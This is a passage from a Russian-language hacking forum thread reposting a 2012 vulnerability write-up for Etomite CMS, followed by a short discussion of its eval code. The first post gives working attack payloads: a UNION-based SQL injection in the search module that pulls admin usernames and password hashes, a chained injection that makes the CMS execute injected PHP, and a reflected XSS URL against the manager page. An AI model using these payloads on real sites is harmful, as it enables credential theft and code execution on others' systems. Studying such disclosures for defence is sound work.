Новости из Блогов Множественные уязвимости Etomite CMS

Discussion in 'Мировые новости. Обсуждения.' started by Suicide, 25 Apr 2012.

  1. Suicide

    Suicide Super Moderator
    Staff Member

    Joined:
    24 Apr 2009
    Messages:
    2,482
    Likes Received:
    7,053
    Reputations:
    693
    Множественные уязвимости Etomite CMS


    Сегодня понадобилось ковырнуть эту CMS.

    Оффсайт цмски www.etomite.org

    Немного кривой код написанный, типа, на ООП. Но логика - бред. По сути вся цмска запихнута в один файл index.php в виде одного класа. Вообщем полный бред. Судя по коду авторы что то слышали насчет безопасности, но судя по всему всего лишь краем уха. Так как было найдено:

    • SQL injection - нет зависимостей от настроек
    • Выполнение PHP кода - необходима специфичная настройка параметров CMS
    • XSS - нет зависимостей

    Ну и вероятно это не предел, так как найдя эти уязвимости я остановился.

    Далее описание уязвимостей, уязвимый код, и пример эксплуатации.


    SQL injection


    Вообщем классическая иньекция в модуле поиска (уязвимый код хранится в БД в виде модуля):
    Code:
    //...
    if(isset($_POST['search']) && $_POST['search']!='') {
       $search = explode(" ", $_POST['search']);
       $sql = "SELECT id, pagetitle, parent, description FROM ".$etomite->db.site_content." WHERE (content LIKE '%".$search[0]."%'";
       //...
    }
    Как видно, переменная search попадает в запрос без какой либо фильтрации. Эксплойт:
    Code:
    POST http://etomite/index.php?id=14
    sub=Search&search=[SQL-inj]
    Пример иньекции:
    Code:
    ')AND(1=0)UNION(SELECT(1),2,3,
    (CONCAT(username,0x3a,password))FROM`etomite`.`etomite_manager_users`)#
    PHP eval

    У данной цмс есть интересная функция. Заключается в том что цмс может выполнять код заключенный в теги "<?php" и "?>" на любой странице. Но особенность этой функции в том что анализ тегов происходит после полной генерации страницы. И если мы сможем изменить вывод страниц нужным нам образом (достаточно простейшей XSS) то мы сможем выполнять PHP код.

    К сожалению, эта функция по дефолту отключена в админ панели.

    Для примера возьмем предыдущую уязвимость и попробуем выполнить код:
    Code:
    POST http://etomite/index.php?id=14
    sub=Search&search=')AND(1=0)UNION(SELECT(1),2,3,
    (0x3C3F70687020706870696E666F28293B203F3E))#
    Где 0x3C3F70687020706870696E666F28293B203F3E - hex представление строки "<?php phpinfo(); ?>". Т.е теперь вместо логина/пароля админа по-идее должа вывестись указанная строка, но(!) встроенный парсер цмски вместо вывода данной строки, выполнит ее как PHP код!


    XSS


    Ну и тут все совсем банально. Файл manager\includes\accesscontrol.inc.php, строка 84:
    Code:
    <input type="hidden" value="<?php echo $_REQUEST['location']; ?>" name="location">
    Эксплойт:
    Code:
    http://etomite/manager/?location="><script>alert('Hacked BY InSys');</script><x z="
    XSS


    Дата: 25.04.2012
    Автор: Intellect
    http://intsystem.org/
    http://intsystem.org/641/vulnerability-etomite-cms/
     
    _________________________
  2. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886
    интересно было бы глянуть на код
     
    _________________________
  3. InSys

    InSys Member

    Joined:
    2 Feb 2012
    Messages:
    24
    Likes Received:
    20
    Reputations:
    31
    Файл index.php, строки 351-360:
    PHP:
        // Check to see if document content contains PHP tags.
        // PHP tag support contributed by SniperX
        
    if( preg_match("/(<\?php|<\?)(.*?)\?>/"$documentOutput) && $type == "text/html" && $this->config['allow_embedded_php'] )
        {
          
    $documentOutput '?'.'>' $documentOutput '<'.'?php ';
          
    // Parse the PHP tags.

          
    eval($documentOutput);
        }
        else
        {
          
    // No PHP tags so just echo out the content.
          
    echo $documentOutput;
        }
     
  4. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886

    мдааа, сильно постарались разработчики, но насколько я понял эту опцию можно выключить

    PHP:
    $this->config['allow_embedded_php']
     
    _________________________
  5. InSys

    InSys Member

    Joined:
    2 Feb 2012
    Messages:
    24
    Likes Received:
    20
    Reputations:
    31
    Да, вы абсолютно правы =) И, как я писал в обзоре:
     
Loading...